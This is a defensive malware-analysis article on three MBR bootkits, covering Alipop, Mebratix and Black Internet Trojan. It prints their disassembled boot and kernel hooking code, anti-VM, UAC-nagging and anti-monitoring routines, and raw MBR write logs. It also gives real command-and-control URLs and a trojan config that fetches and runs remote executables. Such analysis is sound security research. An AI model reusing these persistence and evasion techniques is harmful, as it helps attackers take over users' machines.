Exploit.SWF.Agent.br Pdfka.asd Pidief.cvl TDSS TDSS removal binary planting bios infection blind sqli bootkit bootkit remover browser exploitation com hijacking disassembling dll hijacking drive-by downloads hack online banks heap-spray hijack botnet ibank kernel protection kernel-mode rootkit keylogger malware analysis rootkit detection trojan virus removal

Bootkits – a new stage of development

Dmitry Oleksyuk
Senior Researcher, Esage Lab
dmitry@esagelab.com

Bootkits are malicious programs that take control of the computer by infecting the hard disk’s main boot record (MBR) before the operating system loads.

The first malicious bootkit ever detected was called Sinowal or Mebroot. It appeared in 2007 and was rather innovative for that time. But, for whatever reason, malicious codes developers failed to warm up to this particular infection technique, and for three years we have practically seen no new bootkits.

The article is also available in Russian

But several malicious bootkits appeared recently, signaling perhaps that this particular technique is finally on its way of becoming popular.

This article reviews new bootkits classes. Particular focus has been put on the principle of boot code working, because this issue was ever only considered in a 20o5 report about the concept of eEye BootRoot technology.

Technical tools for bootkit analysis

A bootkit’s code is impossible to analyze with your typical kernel mode debuggers, since it is executed before the control is transferred from BIOS to the boot sector. The debugging of boot code is possible only via virtual machines with executable code debugging capabilities, and at the moment such functionality is available on QEMU and Bochs virtual machines.

Debugging via QEMU

QEMU — Free open source software. Its functionality includes emulation of x86, x86-64 and other CPUs, and emulation of I/O devices. It is possible to debug emulated code with a GDB debugger, as it’s thoroughly described in QEMU documentation.

Fig. 1. Using GDB along with QEMU.

Fig. 1. Using GDB along with QEMU.

It is the author’s opinion that it’s better to use the debugger of IDA Pro disassembler (from version 5.4). Setting up a debugger and a virtual machine is described in IDA Pro documentation

Let’s address some features of boot code debugging.

When the debugger is connected to a virtual machine and a session is initialized, it is necessary to set hardware breakpoint to 0000:7C00h address, since boot code starts its execution from this address. Then open the «Breakpoints» tab and choose «Insert...» from the dropdown menu:

Add new breakpoint in IDA Pro.

Fig. 2. Add new breakpoint in IDA Pro.

Code execution can be continued (F9) after adding the breakpoint.

Note that it is necessary to edit segment settings manually after execution of breakpoint to debug 16-bit code. To do that, open «Edit» -> «Segmets» -> «Edit Segment...» in the main menu and set a 16-bit addressing mode for the current segment:

Настройки сегмента в IDA Pro

Fig. 3. Segment settings in IDA Pro.

Then you can open the code analysis window and analyze boot sector code.

Debugging of boot code in IDA Pro

Fig. 4. Debugging of boot code in IDA Pro.

Debugging via Bochs

Bochs - Free open source software. Its functionality includes emulation of x86/x86-64 CPUs and emulation of I/O devices.

Since this system treats each instruction of the virtual CPU, it is notable for high emulation precision. For the same reason, Bochs’ performance is poorer than that of popular virtual machines like VMware and VirtualBox and the above-described QEMU. It is advisable to have an image of your hard disk with the installed OS ready prior to starting Bochs. You can make such an image with the QEMU emulator.

The Bochs debugger is a standalone application bochsdbg.exe, which shows a dialog window offering the possibility to change virtual machine settings, restore or save its configuration.

Bochs start menu

Fig. 5. Bochs start menu.

The starting of the virtual machine is followed by the opening of a debugging console with a small but sufficient stack of commands, which can be listed by using the «help» command. Enter «lb 0x7c00» to set the breakpoint to the beginning of boot code execution and «c» to continue code execution.

Code debugging in Bochs

Fig. 6. Code debugging in Bochs.

Analysis of new bootkits

Backdoor.Win32.Trup.a (Alipop)

Alipop appeared around May 2010. Judging by the pop-up ads and the Chinese-language AdWare, its developers are Chinese.

Self-defense

This trojan doesn’t use any techniques to avoid proactive defense. However, the source code of most of it procedures is secured against reverse engineering with an old but effective method. It hides some real processor instructions inside long chain of opcodes, which are considered by the disassembler as false instruction.

.text:0040546D                 call    FindFirstFileA
.text:00405473                 cmp     eax, 0FFFFFFFFh
.text:00405476                 jz      short loc_405492
.text:00405478                 jz      near ptr loc_405484+1
.text:0040547E                 jnz     near ptr loc_405484+1
.text:00405484
.text:00405484 loc_405484:
.text:00405484                 call    near ptr 4248F1h
.text:00405489                 add     bh, bh
.text:0040548B                 adc     eax, offset Sleep
.text:00405490                 jmp     short loc_40545F

The code presented above is executed in this way:

.text:0040546D                 call    FindFirstFileA
.text:00405473                 cmp     eax, 0FFFFFFFFh
.text:00405476                 jz      short loc_405492
.text:00405478                 jz      loc_405485
.text:0040547E                 jnz     loc_405485
.text:0040547E ; ---------------------------------------------------------------------------
.text:00405484                 db 0E8h
.text:00405485 ; ---------------------------------------------------------------------------
.text:00405485
.text:00405485 loc_405485:
.text:00405485                 push    1F4h
.text:0040548A                 call    Sleep
.text:00405490                 jmp     short loc_40545F

As you can see from this listing, a 5-byte call instruction at 00405484 doesn’t make any sense because previous calls always pass control to 00405485 where the push instruction is located. This method hinders code analysis in the IDA disassembler and makes it impossible to decompile code with HexRays without pre-processing.

Installer

The bootkit’s installer is an executable file of about 24 kB (MD5: 3f5cff08b83a0a9ad5f8e0973b77a2ac), and contains all the other bootkit components.

Executing the installer leads to the creation and launch of the C:\WINDOWS\ali.exe (MD5: 570e6e5c1d0c95c5a446f6f62fa90468, about 17 kB) file with the main operation code of the trojan.

To maintain auto-loading, the installer writes the bootkit’s code in the first 40 sectors of the HDD:

"CreateFile", "\Device\Harddisk0\DR0", "Desired Access: Generic Read/Write, Disposition: Open"
"ReadFile",   "\Device\Harddisk0\DR0", "Offset: 0, Length: 20,480, I/O Flags: Non-cached"
"WriteFile",  "\Device\Harddisk0\DR0", "Offset: 0, Length: 20,480, I/O Flags: Non-cached"
"CloseFile",  "\Device\Harddisk0\DR0"
Fig. 7. Infected MBR.

Fig. 7. Infected MBR.

The bootkit’s code is called at the next system launch.

Executable code

First of all, the bootkit’s executable code reserves 20 kB in the base memory. For this purpose it decreases base memory volume in BIOS variable at 0040h:0013h. The bootkit’s components are fetched from the first 40 HDD sectors into a reserved area with function 2 of interrupt 13h. Then control is being transferred to fetched code.

seg000:001F                 pushad
seg000:0021                 push    ds
seg000:0022                 mov     bx, word ptr cs:0413h
seg000:0027                 sub     bx, 14h ; reserve 20 kB of the memory
seg000:002B                 and     bl, 0FCh
seg000:002E                 mov     word ptr cs:0413h, bx
seg000:0033                 shl     bx, 6 ; Calculate line address of reserved sector
seg000:0036                 mov     es, bx
seg000:0038                 xor     bx, bx
seg000:003A                 mov     ax, 228h ; Read first 40 sectors 
seg000:003D                 mov     cx, 1
seg000:0040                 mov     dx, 80h
seg000:0043                 int     13h     
seg000:0045                 push    es
seg000:0046                 push    4Ah ; transfer control to fetched code by 4ah offset
seg000:0049                 retf

Read code and data from the 83h offset is ciphered with a reversible operation ROR, and then deciphering is performed. After deciphering the bootkit intercepts BIOS 13h interrupt and makes it possible to control read operations at the first stages of system launch. Finally, the original OS loader is getting called, which is saved by the bootkit’s installer in sector 39.

seg000:0083                 mov     eax, dword ptr es:004Сh
seg000:0088                 mov     dword ptr cs:00F3h, eax ; Save original int 13h handler
seg000:008D                 and     dword ptr es:004Сh, 0
seg000:0097                 or      word ptr es:004Сh, 0E6h ; Set hew handler address
seg000:009E                 mov     word ptr es:004Eh, cs   ; Set hew handler selector
seg000:00A3                 xor     ebx, ebx
seg000:00A6                 mov     bx, cs
seg000:00A8                 shl     ebx, 4

                            ...                            
                            
seg000:00C5                 mov     di, 7C00h
seg000:00C8                 push    cs
seg000:00C9                 pop     ds
seg000:00CA                 mov     si, 4C00h ; Copy original boot sector to 7C00h
seg000:00CD                 mov     cx, 200h
seg000:00D0                 cld
seg000:00D1                 rep movsb
seg000:00D3                 pop     ds
seg000:00D4                 popad
seg000:00D6                 lss     sp, dword ptr es:0602h  ; Restore sp
seg000:00DC                 mov     es, word ptr es:0600h   ; Restore es
seg000:00E1                 jmp     far ptr 0:7C00h         ; Execute original boot code

Hooking of 13h interrupt is performed to modify the code of the OSLOADER.EXE module during its reading from system partition. OSLOADER.EXE is a part of the NTLDR module, and is executed in protected mode. The goal of this modification is to execute the bootkit’s code in protected mode, too. OSLOADER.EXE code (subject to modification) is being searched by signature in the buffer with fetched data, received after interrupt processing:

seg000:0120                 mov     di, bx  ; di – pointer to buffer with data
seg000:0122                 mov     al, 8Bh ; first byte of the signature
seg000:0124                 cld
seg000:0125
seg000:0125 loc_125:
seg000:0125                 repne scasb
seg000:0127                 jnz     short loc_159
seg000:0129                 cmp     dword ptr es:[di], 74F685F0h ; bytes 2-5 
seg000:0131                 jnz     short loc_125
seg000:0133                 cmp     word ptr es:[di+4], 8021h ; bytes 6-7 
seg000:0139                 jnz     short loc_125
seg000:013B                 push    es
seg000:013C                 xor     eax, eax
seg000:013F                 mov     es, ax
seg000:0141                 mov     ax, cs
seg000:0143                 shl     eax, 4
seg000:0147                 add     eax, 200h
seg000:014D                 pop     es
seg000:014E                 mov     word ptr es:[di-1], 15FFh ; write instruction call dword ptr [addr]
seg000:0154                 mov     es:[di+1], eax

OSLOADER code is the following set of instructions:

.text:00422B77                 call    _BlLoadBootDrivers@12
.text:00422B7C                 mov     esi, eax
.text:00422B7E                 test    esi, esi
.text:00422B80                 jz      short loc_422BA3
.text:00422B82
.text:00422B82 loc_422B82: 
.text:00422B82                 cmp     _BlRebootSystem, 0
.text:00422B89                 jz      short loc_422B92

This fragment refers to the _BlOsLoader@12() function. The bytes being modified go right after function _BlLoadBootDrivers@12() call. This function loads drivers of system services with SERVICE_BOOT_START trigger mode into the memory. Code of modification is a call instruction that transfers control to resident bootkit’s code in reserved base memory at the 200h offset. Therefore the bootkit’s code gets control when the CPU is in 32-bit protected mode.

Protected mode code

The bootkit’s protected mode code starts its execution with receiving a kernel load address. This address is read from the first record in the list of loaded modules. This record is a LDR_DATA_TABLE_ENTRY structure. A pointer to the list of loaded modules can be obtained from the global variable _BlLoaderBlock of the OSLOADER.EXE module. In particular, the _BlLoaderBlock variable contains a pointer to the _LOADER_PARAMETER_BLOCK structure. A copy of this pointer is used as a local variable in the code of the _BlAllocateDataTableEntry@16() function. The bootkit uses signature to find this section of the code.

Moreover, the virtual address of the memory that is used to load NTLDR and other system modules is read from the local variable KdDllBase. Modified function _BlOsLoader@12() refers to this variable by fixed offset from ebp:

seg001:00000206                 mov     edi, [esp+24h]  ; edi - Value of KdDllBase variable
seg001:0000020A                 and     edi, 0FFF00000h
seg001:00000210                 cld
seg001:00000211                 mov     al, 0C7h ; First byte of the signature to search for _BlLoaderBlock
seg001:00000213 loc_213:
seg001:00000213                 scasb
seg001:00000214                 jnz     short loc_213
seg001:00000216                 cmp     dword ptr [edi], 40003446h ; Other 4 bytes of the signature
seg001:0000021C                 jnz     short loc_213
seg001:0000021E                 mov     al, 0A1h
seg001:00000220 loc_220: 
seg001:00000220                 scasb
seg001:00000221                 jnz     short loc_220
seg001:00000223                 mov     esi, [edi]      ; esi - pointer to the list of loaded modules
seg001:00000225                 mov     esi, [esi]      ; esi - pointer to the first _LDR_DATA_TABLE_ENTRY
seg001:00000227                 lodsd
seg001:00000228                 mov     ebx, [eax+18h]  ; ebx - kernel load address
seg001:0000022B                 call    sub_267

The procedure sub_267 is used to intercept the kernel function nt!IoGetCurrentProcess() in such a way that its call will transfer control to the bootkit’s code of the next (third) stage, which has to be executed in 32-byte protected mode after OS kernel initialization.

seg001:00000267                 pop     esi ; Get bootkit’s code address by return address
seg001:00000268                 mov     ecx, 37h
seg001:0000026D                 mov     [esi+2B6h], ebx
seg001:00000273                 lea     edi, [ebx+40h]
seg001:00000276                 mov     ebp, edi
seg001:00000278                 rep movsb   ; Copy bootkit’s code by offset 0x230-0x267 in the header of kernel image over DOS stub
seg001:0000027A                 push    0CE8C3177h     
seg001:0000027F                 call    GetProcByHash  ; Get IoGetCurrentProcess address by a hash of the name
seg001:00000284                 xchg    eax, esi
seg001:00000285                 sub     edi, 0Ah
seg001:0000028B                 movsd  ; Save first 5 bytes of the function
seg001:0000028C                 sub     edi, 6
seg001:00000292                 movsb
seg001:00000293                 mov     byte ptr [esi-5], 0E8h
seg001:00000297                 sub     ebp, esi
seg001:00000299                 mov     [esi-4], ebp ; Patching Modification of IoGetCurrentProcess by its call at nt+0x40 address

The first call of the nt!IoGetCurrentProcess() function is usually performed after kernel initialization with the nt!Phase1Initialization() function:

kd> kb
ChildEBP RetAddr  Args to Child  
f9dc35f0 80688d7e 8198c338 8008ecb8 8008ecb8 nt+0x40
f9dc3630 8068ac22 8198c3ec 8008ecb8 0000000c nt!IopInitializeBuiltinDriver+0x260
f9dc3694 80687b48 80082000 f9dc36b0 00034000 nt!IopInitializeBootDrivers+0x2d2
f9dc383c 80685fdd 80082000 00000000 819cc538 nt!IoInitSystem+0x712
f9dc3dac 805c6160 80082000 00000000 00000000 nt!Phase1Initialization+0x9b5
f9dc3ddc 80541dd2 80685628 80082000 00000000 nt!PspSystemThreadStartup+0x34
00000000 00000000 00000000 00000000 00000000 nt!KiThreadStartup+0x16

kd> u nt!IoGetCurrentProcess
nt!IoGetCurrentProcess:
804ee608 e8338afeff      call    nt+0x40 (804d7040)
804ee60d 008b4044c3cc    add     byte ptr [ebx-333CBBC0h],cl
804ee613 cc              int     3
804ee614 cc              int     3
804ee615 cc              int     3
804ee616 cc              int     3
804ee617 cc              int     3

Bootkit execution after kernel initialization

The Hook handler nt!IoGetCurrentProcess() restores the original code of the function and calls nt!PsCreateSystemThread() to launch the system thread which executes the bootkit’s operational code. The operational code performs following:

  1. Creates a string parameter in the registry key HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run, with value «C:\WINDOWS\ali.exe» to make it possible to launch the trojan after the system launch.
  2. Creates C:\WINDOWS\ali.exe file. Its content is written into the system from sector 4 of the HDD by the installer during the bootkit installation.
  3. Installs GDT call gate, which makes it possible to execute any instructions with maximum priority by any user mode code.
Fig. 8. GDT call gate (backdoor).

Fig. 8. GDT call gate (backdoor).

Therefore Alipop developers gave up on using traditional method of utilizing a kernel mode driver to execute privileged instructions. Instead, they used a trick which allowed them to utilize a user mode process for the same goal. This is a simpler but less stealthy approach. Also, it is possible that this bootkit was developed as a universal tool for execution of any malicious software which runs in user mode from the boot sector.

Trojan process

The main goal of the ali.exe process is to receive commands to download and launch other malicious software from the server. Sending HTTP requests is performed via Internet Explorer, which is launched in a hidden window.

Fig. 9. Trojan process.

Fig. 9. Trojan process.

Fig. 10. Request configuration file from server.

Fig. 10. Request configuration file from server.

The trojan’s ciphered configuration file is downloaded from a server with the fixed address http://list.577q.com/sms/xxx.ini and is saved in the C:\WINDOWS catalog with the win.ini name.

An example of configuration file content:

[DownLoad]
exe1=coopen_setup_100201.exe-8.0|http://download.coopen.cn/setup/v5/coopen_setup_100201.exe
exe2=pptv(pplive)jixian_113459_s.exe-1.0|http://60.173.10.28:4321/pptv(pplive)jixian_113459_s.exe
[ad]
ad1=12
[HomePage]
home=http://www.67ku.com
[Time]
DownLoadIniTime=120
PopAdTime=2
DownLoadLelayTime=1
RunDelayTime=0
FirstRunExeTime=2
FirstPopWidTime=1
cjver=2
cjaddr=
[Link]
Link1=|http://66.79.168.187:55325/tuling.html

Though the Alipop trojan uses the boot sector infection technique, it can be detected and deleted easily because there no methods are used to hide the malicious activity. The bootkit does not protect its boot sector code from disinfection. It is, therefore, possible to heal the infected system by manually editing the boot record with any 16-bit HEX-editor (such as WinHex).

Mebratix.b (Ghost Shadow)

Symantec Security Response. Trojan.Mebratix.B — the Ghost in MBR.

The Mebratix bootkit was mentioned for the first time in an entry on the Symantec Security Response blog.

The bootkit’s installer (MD5: 1b465d5c330d99bdccffd299bf71010f, about 30 kB) does not have any notable characteristics.

Boot code

Mebratix’ boot code is an almost perfect clone of the standard Windows boot code. Let’s take a closer look at the two disassembled codes.

Windows boot code:

seg000:00CA                 mov     ax, 201h   ; ah – number of function of 13th interrupt 13h (02h, read data from disk) 
                                               ; al – amount of sectors being read
seg000:00CD                 mov     bx, 7C00h  ; Address of buffer for data read
seg000:00D0                 mov     cx, [bp+2] ; Number of path and sector (bp points to a record in partition table)
seg000:00D3                 mov     dx, [bp+0] ; Number of head and disk
seg000:00D6                 int     13h
seg000:00D8                 jnb     short locret_12B

Mebratix boot code:

seg000:00CA                 mov     ax, 201h   ; ah - number of function of 13th interrupt 13h (02h, read data from disk)
                                               ; al - amount of sectors being read
seg000:00CD                 mov     bx, 7C00h  ; Address of buffer for data read
seg000:00D0                 mov cx, 2      ; Number of path and sector (bp points to a record in partition table)
seg000:00D3                 mov     dx, [bp+0] ; Number of head and disk
seg000:00D6                 int     13h
seg000:00D8                 jnb     short locret_12B

As you can see, Mebratix’ boot code differs from the standard boot code by arguments of mov instruction with offset 00D0h from the start of the boot code. According to the developer’s intent, the original code performs the reading and transfers control to the first sector of the boot partition, whereas the bootkit’s code transfers control to the second sector with the extension of malicious code.

Fig. 11. Mebratix boot code (the instruction that differs from the standard boot code is highlighted).

Fig. 11. Mebratix boot code (the instruction that differs from the standard boot code is highlighted).

The bootkit’s code in the second sector of a disk reserves 63 kB of base memory in the same way as the Alipop bootkit. Then, it copies itself to 9700:0000h and sets a hook for the 13h interrupt:

seg000:0229                 mov     si, 533h
seg000:022C                 xor     si, 120h
seg000:0230                 lodsw  ; read instruction from 0040h:0013h (base memory size in kB)
seg000:0231                 sub     si, 2
seg000:0234                 shl     ax, 6
seg000:0237                 and     ax, 0FFFh
seg000:023A                 shr     ax, 6
seg000:023D                 sub     [si], ax ; Reserve 63 kB of a base memory
seg000:023F                 xor     eax, eax
seg000:0242                 mov     ax, 9700h
seg000:0245                 mov     es, ax
seg000:0247                 assume es:nothing
seg000:0247                 shl     eax, 4
seg000:024B                 mov     si, 7C00h
seg000:024E                 xor     di, di
seg000:0250                 mov     ecx, 100h
seg000:0256                 rep movsw ; Copy code of 2 sector to 9700:0000h
seg000:0258                 mov     es:0Eh, eax
seg000:025D                 xor     bx, bx
seg000:025F                 mov     eax, [bx+4Ch]   
seg000:0263                 mov     word ptr [bx+4Ch], 0F9h ; Set address of 13h interrupt handler
seg000:0268                 mov     es:106h, eax            ; Save address of original handler
seg000:026D                 mov     word ptr [bx+4Eh], es   ; Set new value of handler selector
seg000:0270                 push    es
seg000:0271                 push    75h ; Transfer of control to the code by 75h offset
seg000:0274                 retf

The next part of the boot code reads 59 sector of HDD (starting with sector 3) to the memory at 9700:0200h. These sectors contain all the other bootkit components. Moreover, sectors 3 to 6 are ciphered with xor operation with dynamic calculation of key byte at each iteration. Below is the fragment of the code that deciphers the sectors.

seg000:0297                 mov     esi, 200h       ; Pointer to read data
seg000:029D                 mov     ebx, 3333h      ; Start constant for key calculation
seg000:02A3                 mov     ecx, 600h       ; Size of data for deciphering (3 sectors)
seg000:02A9 loc_2A9:
seg000:02A9                 call    GetXorKey       ; Get key for current iteration
seg000:02AC                 xor     [esi], al
seg000:02AF                 add     esi, 1
seg000:02B3                 sub     ecx, 1
seg000:02B7                 jnz     short loc_2A9

                            ...                            
                            
seg000:03C5 GetXorKey       proc near               ; Key calculation
seg000:03C5                 imul    ebx, 343FDh     
seg000:03CC                 add     ebx, 269EC3h
seg000:03D3                 mov     eax, ebx
seg000:03D6                 shr     eax, 10h
seg000:03DA                 and     eax, 0FFh
seg000:03E0                 retn
seg000:03E0 GetXorKey       endp

It is possible that the key calculation code was specified in a separate procedure to allow polymorphic encryption, but spred bootkits used statically encrypted code.

The 13h interrupt handler modifies OSLOADER.EXE code in the exact same way as the Alipop bootkit.

Protected mode code

The bootkit’s protected mode code is called from the modified OSLOADER.EXE module and is performed to initialize and launch the bootkit’s kernel mode driver. Let’s examine this code more thoroughly:

seg001:00000604                 mov     esi, eax
seg001:00000606                 mov     eax, [esp-4]
seg001:0000060A                 and     eax, 0FFFFF000h ; Get address of BootDriverListHead variable
seg001:0000060F                 push    ebx
seg001:00000610                 call    $+5
seg001:00000615                 pop     ebx
seg001:00000616                 and     ebx, 0FFFFF000h
seg001:0000061C                 or      ebx, 600h ; Calculate address of bootkit’s protected mode code by return address
seg001:00000622                 mov     [ebx], eax ; Save BootDriverListHead
seg001:00000624                 mov     eax, esi
seg001:00000626                 pop     ebx
seg001:00000627                 test    eax, eax
seg001:00000629                 pushf
seg001:0000062A                 jnz     short loc_634
seg001:0000062C                 add     dword ptr [esp+4], 0
seg001:00000631                 jmp     short loc_634
seg001:00000634 loc_634:
seg001:00000634                 pusha
seg001:00000635                 call    $+5
seg001:0000063A                 pop     ebx
seg001:0000063B                 and     ebx, 0FFFFF000h
seg001:00000641                 lea     ecx, large ds:106h
seg001:00000647                 mov     eax, [ebx+ecx] ; Get saved address of 13h interrupt handler
seg001:0000064A                 mov     ecx, cr0
seg001:0000064D                 push    ecx
seg001:0000064E                 btr     ecx, 10h ; Reset WP-bit (disable virtual memory write-protection)
seg001:00000652                 mov     cr0, ecx
seg001:00000655                 or      byte ptr ds:0C0000000h, 3
seg001:0000065C                 mov     large ds:4Ch, eax ; Restore original 13h interrupt handler
seg001:00000661                 mov     byte ptr ds:0C0000000h, 20h
seg001:00000668                 pop     ecx
seg001:00000669                 mov     cr0, ecx ; Set reseted WP-bit
seg001:0000066C                 or      ebx, 600h
seg001:00000672                 mov     eax, [ebx]
seg001:00000674                 sub     ebx, 600h
seg001:0000067A                 mov     esi, eax   ; esi - BootDriverListHead
seg001:0000067C loc_67C:
seg001:0000067C                 mov     esi, [esi] ; esi – pointer to _LDR_DATA_TABLE_ENTRY for specific module
seg001:0000067E                 cmp     esi, eax
seg001:00000680                 jz      loc_763
seg001:00000686                 mov     ecx, [esi+18h]       ; Get module boot address from _LDR_DATA_TABLE_ENTRY
seg001:00000689                 cmp     word ptr [ecx], 'ZM' ; Check MZ signature of module’s header

                                ...

After executing this code, the bootkit searches through all the loaded executable modules to find a section with 200 or more bytes of free space in the end. The bootkit’s driver loader code is copied in the found module (this code is originally located in the HDD’s sector 4).

seg001:000006C7 loc_6C7: 
seg001:000006C7                 sub     edx, 28h ; '('
seg001:000006CA                 mov     ecx, [edx+8]       ; ecx – section VirtualSize
seg001:000006CD                 or      ecx, 0FFFh
seg001:000006D3                 sub     ecx, 1FFh
seg001:000006D9                 add     ecx, [edx+0Ch]     ; Add VirtualAddress to ecx VirtualAddress
seg001:000006DC                 add     ecx, [esi+18h]     ; Add module loading address to ecx
seg001:000006DF                 cmp     dword ptr [ecx], 0 ; Check free space in the end of the section
seg001:000006E2                 jnz     short loc_67C      
seg001:000006E4                 mov     edi, ecx
seg001:000006E6                 push    edi
seg001:000006E7                 lea     esi, [ebx+600h]
seg001:000006ED                 mov     ecx, 80h           
seg001:000006F2                 rep movsd                  ; Copy 200h bytes

In most cases, bootkits use '.data' to store code. This section belongs to the OS kernel image, loaded into the memory. As you can see from the dump of the module’s header, there is enough space to inject the loader code in the ‘.data’ section.

kd> dh -s nt

...

SECTION HEADER #5
   .data name
   16EA0 virtual size
   6E800 virtual address
   16F00 size of raw data
   6E800 file pointer to raw data
       0 file pointer to relocation table
       0 file pointer to line numbers
       0 number of relocations
       0 number of line numbers
C8000040 flags
         Initialized Data
         Not Paged
         (no align specified)
         Read Write         
...

To transfer control to the driver loader code, the bootkit modifies the nt!PspCreateProcess() kernel function in such a way that its beginning will contain a call for the bootkit’s driver loader instead of the nt!_SEH_prolog() function call.

The nt!PspCreateProcess() function code before modification:

kd> u nt!PspCreateprocess
nt!PspCreateProcess:
805d0866 681c010000      push    11Ch
805d086b 68c8a84d80      push    offset nt!ObWatchHandles+0x664
805d0870 e81bb3f6ff      call    nt!_SEH_prolog

The nt!PspCreateProcess() function code after modification:

nt!PspCreateProcess:
805c6a8c 681c010000      push    11Ch
805c6a91 68b09e4d80      push    offset nt!ObWatchHandles+0x664
805c6a96 e88af8f7ff      call    80546325

Since nt!PspCreateProcess() isn’t exported by the kernel, the bootkit searches it by analyzing the code of the exported nt!PsCreateSystemProcess() process, byte-by-byte searching for the opcode of the first call instruction (E8h) – its argument is the address of the nt!PspCreateProcess() function:

kd> u nt!PsCreateSystemProcess+0xa
nt!PsCreateSystemProcess+0xa:
805d11da 50              push    eax
805d11db 50              push    eax
805d11dc ff35d0c26780    push    dword ptr [nt!PspInitialSystemProcessHandle]
805d11e2 ff7510          push    dword ptr [ebp+10h]
805d11e5 ff750c          push    dword ptr [ebp+0Ch]
805d11e8 ff7508          push    dword ptr [ebp+8]
805d11eb e876f6ffff      call    nt!PspCreateProcess
805d11f0 5d              pop     ebp

The nt!PspCreateProcess() call is performed at the initialization of the executive kernel subsystem:

kd> kb
ChildEBP RetAddr  Args to Child              
805499a0 8069c0dc 8066fb50 001f0fff 80549a24 nt!PspCreateProcess+0xa
80549a4c 8069c419 80078000 80549be8 8068509c nt!PspInitPhase0+0x34e
80549a58 8068509c 00000000 80078000 80552740 nt!PsInitSystem+0x33
80549be8 80691f28 00000000 80078000 8003fc00 nt!ExpInitializeExecutive+0x742
80549c3c 8068fa9f 805529a0 80552740 80549f00 nt!KiInitializeKernel+0x3b2
00000000 00000000 00000000 00000000 00000000 nt!KiSystemStartup+0x2bf

Driver loader

The code of the bootkit’s kernel mode driver loader performs the following:

  1. Gets the PID of the current process with the nt!PsGetCurrentProcessId() function. If the received value differs from 4 (the fixed PID value for the System process), - the nt!_SEH_prolog() call and a return to the nt!PspCreatepProcess() is performed.
  2. Gets the address of the nt!psLoadedModulesList kernel global variable through signature analysis of the nt!KeCapturePersistentThreadState() function code.
  3. Reserves 10000h bytes in the memory for the image of bootkit’s kernel mode driver with the nt!ExAllocatePoolWithTag() function.
  4. Copies the headers and the sections of a driver into an allocated area of the memory.
  5. Restores the modified nt!PspCreateprocess() function code.
  6. Calls the bootkit’s driver entry point.

Driver and payload

The goal of the bootkit’s driver is to inject user mode code in the explorer.exe process and hook such IRP-requests handlers as IRP_MJ_READ/IRP_MJ_WRITE of the disk driver Disk.sys (\Driver\Disk). These hooks protect disk sectors with the bootkit components from the read or rewrite attempts by antivirus software. It should be noted that the driver code is unstable: in some cases, the trojan fails to install kernel hooks during its installation.

The user-mode code sends HTTP requests to the meifawu.com server. The Trojan configuration file is loaded from http://meifawu.com/n.txt.

Fig. 12. Server requests.

Fig. 12. Server requests.

Black Internet Trojan

The Black Internet Trojan bootkit appeared only recently, and if we are to judge by the activity on antivirus Web forums, it is both the least known and the most widespread of all the new bootkits. One of the first sources of information about the infection was the English-language antivirus forum MajorGeeks, and some days later Russian VirusInfo.

Installer and self-defense

The bootkit’s installer (MD5: e35310220715287c5765b273a1797836, about 1.2 MB) is protected with an unknown encrypter. The decipher procedure contains the code to detect VMware virtual machines:

.text:004010A8                 push    401113h ; Address of exception SEH-handler
.text:004010AD                 push    large dword ptr fs:0
.text:004010B4                 push    eax
.text:004010B5                 mov     eax, 337h
.text:004010BA                 pop     eax
.text:004010BB                 mov     large fs:0, esp
.text:004010C2                 mov     eax, 564D5868h ; 'VMXh' – magic constant
.text:004010C7                 mov     ebx, 0
.text:004010CC                 mov     ecx, 0Ah
.text:004010D1                 xchg    eax, ebx
.text:004010D2                 push    ebx
.text:004010D3                 push    eax
.text:004010D4                 pop     ebx
.text:004010D5                 pop     eax
.text:004010D6                 mov     edx, 5658h ; Number of VMware backdoor I/O port
.text:004010DB                 in      eax, dx    ; Read data from port.
                                                  ; On usual machine (not virtual) 
                                                  ; this instruction generates exception 

To disable this bootkit’s self-defense mechanism, add a line that disables the “VMWare backdoor” to the end of the VMWare configuration file (.vmx):

monitor_control.restrict_backdoor = "TRUE"

The bootkit’s installer detects its execution with limited permissions through the GetTokenInformation function call with the TokenElevation parameter. If the execution is performed under UAC, the installer restarts its process in a cycle. Therefore, the user will get warnings from the security system until he permits the execution of the bootkit’s installer with maximum permissions.

// Check OS version for launch under Windows Vista and higher
  GetVersionExW(&VersionInformation);
  if (VersionInformation.dwMajorVersion >= 6)
  {
      v4 = GetCurrentProcess();
      if (!OpenProcessToken(v4, 0x20008u, &TokenHandle) ||
          !GetTokenInformation(TokenHandle, TokenElevation, &TokenInformation, 4u, &ReturnLength))
          return 0;

      if (!TokenInformation)
      {
          // Current process was launched with limited permissions
          if (GetModuleFileNameW(0, &Filename, 0x104u))
          {
              ExecInfo.cbSize = 60;
              ExecInfo.fMask = 0;
              ExecInfo.hwnd = 0;
              ExecInfo.lpVerb = L"runas";
              ExecInfo.lpFile = &Filename;
              ExecInfo.lpParameters = 0;
              ExecInfo.lpDirectory = 0;
              ExecInfo.nShow = 0;
              ExecInfo.hInstApp = 0;

              // Launch of another process instance
              while (!ShellExecuteExW(&ExecInfo));
          }

          return 0;
      }
  }
Fig. 13. UAC warning at installer launch.

Fig. 13. UAC warning at installer launch.

Finally, the installer detects an active Process Monitor utility by looking up the specific value of window class. It is performed just before the installation of boot code to the disk:

.text:00402835 sub_402835      proc near
.text:00402835                 push    0                ; lpWindowName
.text:00402837                 push    offset ClassName ; "PROCMON_WINDOW_CLASS"
.text:0040283C                 call    ds:FindWindowW
.text:00402842                 neg     eax
.text:00402844                 sbb     eax, eax
.text:00402846                 neg     eax
.text:00402848                 retn
.text:00402848 sub_402835      endp

Boot code

Unlike other known bootkits, which store their components in 63 sectors before the first partition, the Black Internet trojan stores its components in unlabeled area immediately after the last partition.

"CreateFile", "\Device\Harddisk0\DR0", "Desired Access: Generic Read/Write, Disposition: Open"
"ReadFile",   "\Device\Harddisk0\DR0", "Offset: 0, Length: 512"
"DeviceIoControl", "\Device\Harddisk0\DR0", "Control: IOCTL_DISK_GET_LENGTH_INFO"
"ReadFile",   "\Device\Harddisk0\DR0", "Offset: 3,216,310,272, Length: 512"
"WriteFile",  "\Device\Harddisk0\DR0", "Offset: 3,216,310,272, Length: 512"
"ReadFile",   "\Device\Harddisk0\DR0", "Offset: 3,216,310,272, Length: 512"
"WriteFile",  "\Device\Harddisk0\DR0", "Offset: 3,216,310,272, Length: 512"
"WriteFile",  "\Device\Harddisk0\DR0", "Offset: 3,216,344,064, Length: 43,520"
"ReadFile",   "\Device\Harddisk0\DR0", "Offset: 0, Length: 512"
"ReadFile",   "\Device\Harddisk0\DR0", "Offset: 3,216,310,272, Length: 512"
